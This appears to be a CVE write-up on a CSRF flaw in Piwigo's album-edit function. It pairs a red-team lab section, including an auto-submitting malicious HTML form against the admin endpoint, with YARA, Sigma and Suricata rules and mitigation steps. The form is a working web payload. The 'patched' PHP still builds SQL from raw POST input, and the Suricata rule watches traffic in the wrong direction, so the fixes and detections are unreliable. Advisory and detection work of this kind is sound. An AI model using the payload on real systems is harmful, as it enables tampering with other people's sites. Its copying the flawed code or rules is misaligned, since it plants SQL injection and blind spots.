CVE-2024-48311

Executive Summary

CVE-2024-48311 is a Cross-Site Request Forgery (CSRF) vulnerability discovered in Piwigo v14.5.0, specifically within the "Edit album" function. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions on the Piwigo application, such as modifying album details, without their consent. The vulnerability arises from a lack of anti-CSRF tokens or other validation mechanisms in the album editing workflow. As of the latest available information, no official patch has been released, and the CVSS score is listed as 0.0, likely due to incomplete scoring data. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

Piwigo is a self-hosted PHP-based photo gallery application. This vulnerability does not directly affect the software supply chain (e.g., NPM, PyPI, Go, Ruby packages) but impacts the application's own codebase. Administrators should verify the integrity of their Piwigo installation and monitor for any unofficial patches or updates from the vendor.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, which is likely a placeholder or error in the NVD database. Based on the vulnerability type (CSRF) and the context (authenticated admin action), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated, but the victim must be an authenticated admin.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker's scope are the same.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., album names).
• Integrity (I): Low (L) – Limited modification of album data.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N Estimated Base Score: 5.4 (Medium)

Threat Level: Medium. While CSRF is a well-known attack vector, the impact is limited to album modifications. However, in a targeted attack, an adversary could use this to deface the gallery or inject malicious content.

Deep Dive & Mechanics

The vulnerability exists in the Edit album functionality of Piwigo v14.5.0. When an administrator edits an album (e.g., changing its name, description, or visibility), the application processes the request without verifying that the request originated from the legitimate admin session. This is a classic CSRF flaw.

Attack Flow:

1. The attacker crafts a malicious HTML page or email containing a forged request to the Piwigo server's album edit endpoint.
2. The attacker lures an authenticated Piwigo administrator to visit this page (e.g., via social engineering or a compromised site).
3. The victim's browser automatically sends the forged request, including the victim's session cookies (if same-site cookies are not enforced).
4. The Piwigo server processes the request, modifying the album as per the attacker's parameters.

Root Cause: The absence of a CSRF token (nonce) or origin/referer header validation in the album edit form handler.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the album edit handler. A typical vulnerable PHP snippet might look like:

// Vulnerable: No CSRF token check
if (isset($_POST['update_album'])) {
    $album_id = $_POST['album_id'];
    $album_name = $_POST['name'];
    // Update database
    $query = "UPDATE albums SET name = '$album_name' WHERE id = $album_id";
    pwg_query($query);
}

A patched version would include a CSRF token validation:

// Patched: CSRF token check
if (isset($_POST['update_album'])) {
    if (!check_pwg_token()) {
        die('Invalid token');
    }
    $album_id = $_POST['album_id'];
    $album_name = $_POST['name'];
    // Update database
    $query = "UPDATE albums SET name = '$album_name' WHERE id = $album_id";
    pwg_query($query);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install Piwigo v14.5.0 on a local server (e.g., using Docker or XAMPP).
• Create an admin account and log in.
• Identify the album edit endpoint (e.g., /admin.php?page=album-edit).

Exploitation Steps:

1. Craft a malicious HTML page that auto-submits a form to the Piwigo album edit endpoint.
2. Host the page on an attacker-controlled server or use a phishing email.
3. Lure the authenticated admin to visit the page.

Example Malicious HTML:

<html>
<body>
<form action="http://target-piwigo/admin.php?page=album-edit" method="POST" id="csrf-form">
    <input type="hidden" name="update_album" value="1">
    <input type="hidden" name="album_id" value="1">
    <input type="hidden" name="name" value="Hacked Album">
    <input type="hidden" name="description" value="This album was compromised via CSRF">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Note: No public exploit code is available for this CVE.

Blue Team (Defensive)

Detection:

• Monitor server logs for unexpected POST requests to /admin.php?page=album-edit from external referrers.
• Implement CSRF tokens in all admin forms.
• Use SameSite cookies (set to Lax or Strict).

Prevention:

• Apply the principle of least privilege; limit admin session duration.
• Use web application firewalls (WAF) to block requests with suspicious referrers.
• Educate administrators about phishing and CSRF attacks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin.php?page=album-edit with unexpected Referer headers.
  • Repeated album modification requests from a single IP in a short time.
• Host:
  • Unauthorized changes to album names or descriptions in the Piwigo database.
  • Presence of malicious HTML files on the server (if the attacker uploaded them).
• Logs:
  • Apache/Nginx access logs showing POST requests to album edit endpoints without a valid CSRF token.

Detection Engineering

YARA Rule

rule CVE_2024_48311_CSRF_Piwigo {
    meta:
        description = "Detects Piwigo album edit requests lacking CSRF token"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48311"
    strings:
        $csrf_form = "update_album" nocase
        $csrf_token = "pwg_token" nocase
    condition:
        $csrf_form and not $csrf_token
}

Sigma Rule

title: Piwigo CSRF Album Edit Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects potential CSRF attacks against Piwigo album edit function
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/admin.php?page=album-edit'
    filter:
        c-referer|contains: 'target-piwigo.com'  # Adjust to your domain
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the same domain
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-48311 Piwigo CSRF Album Edit Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/admin.php?page=album-edit";
    http.referer; content:!"target-piwigo.com";  # Adjust to your domain
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the album edit functionality temporarily if possible, or restrict access via IP whitelisting.
2. Implement a CSRF token manually by modifying the Piwigo source code (add a nonce check in the album edit handler).
3. Set SameSite cookies to Lax or Strict in the PHP session configuration.

Long-term Fix:

• Monitor the Piwigo official repository for a security patch.
• Upgrade to a patched version once released.
• Consider using a web application firewall (WAF) with CSRF protection rules.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block POST requests to /admin.php?page=album-edit from external referrers.

Valters IT